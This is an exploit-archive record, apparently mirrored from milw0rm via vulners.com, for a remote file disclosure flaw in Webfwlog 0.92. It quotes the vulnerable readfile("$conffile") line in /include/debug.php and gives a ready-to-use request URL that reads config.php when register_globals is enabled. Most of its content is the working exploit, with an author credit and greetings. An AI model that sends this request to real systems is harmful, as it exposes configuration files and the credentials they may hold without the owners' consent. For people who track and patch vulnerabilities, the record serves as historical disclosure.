Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15894
HistoryJan 29, 2007 - 12:00 a.m.

Webfwlog <= 0.92 (debug.php) Remote File Disclosure Vulnerability

2007-01-2900:00:00
vulners.com
23

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

  • D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz
  • D.Scrpit:http://webfwlog.sourceforge.net/
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • V.Code In : /include/debug.php | php.ini -> register globals = on
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • readfile("$conffile");
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • 3xpl0!t
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • /include/debug.php?config[debug]=10&conffile=config.php
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • Author: GolD_M <hacker_ [at] w.cn>
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  • Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com +
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

milw0rm.com [2007-01-29]